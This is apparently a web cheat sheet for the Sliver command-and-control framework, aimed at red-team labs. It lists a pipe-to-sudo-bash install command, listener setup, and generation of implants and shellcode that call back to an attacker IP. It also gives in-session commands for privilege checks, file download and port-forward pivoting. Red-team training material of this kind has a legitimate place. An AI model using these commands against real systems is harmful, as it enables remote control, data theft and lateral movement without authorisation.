Sliver

Sliver is the free Cobalt Strike alternative most used in red team labs and Pro Labs. It builds implants for every OS and manages sessions, pivots and extensions (armory) from one console.

Platform: Linux · Windows · macOS (Go)
Official site: github.com/BishopFox/sliver

Install

curl https://sliver.sh/install | sudo bash

T1071.001 Web Protocols

Sliver cheat sheet

Your values Saved in this browser and applied to every cheatsheet.

Your IP (attacker) Port

9 commands

In our cheatsheets

C2 and post-exploitation › Sliver

Server and console Attacker

sliver-server

mTLS listener Attacker

mtls --lhost 10.10.14.5 --lport 443

HTTP(S) listener (blends with web traffic) Attacker

https --lhost 10.10.14.5 --lport 443

Session (interactive) Attacker

generate --mtls 10.10.14.5:443 --os windows --arch amd64 --format exe --save /tmp

Beacon (checks in periodically) Attacker

generate beacon --http 10.10.14.5 --seconds 30 --jitter 5 --os windows --save /tmp

shellcode / DLL Attacker

generate --mtls 10.10.14.5 --format shellcode --save /tmp/sc.bin

List sessions and enter one

sessions
use <id>

Commands inside the implant

info; getprivs; execute -o whoami /all; ls; download C:\\ruta\\fichero

Pivot with port forward

portfwd add --bind 127.0.0.1:1433 --remote 10.10.0.5:1433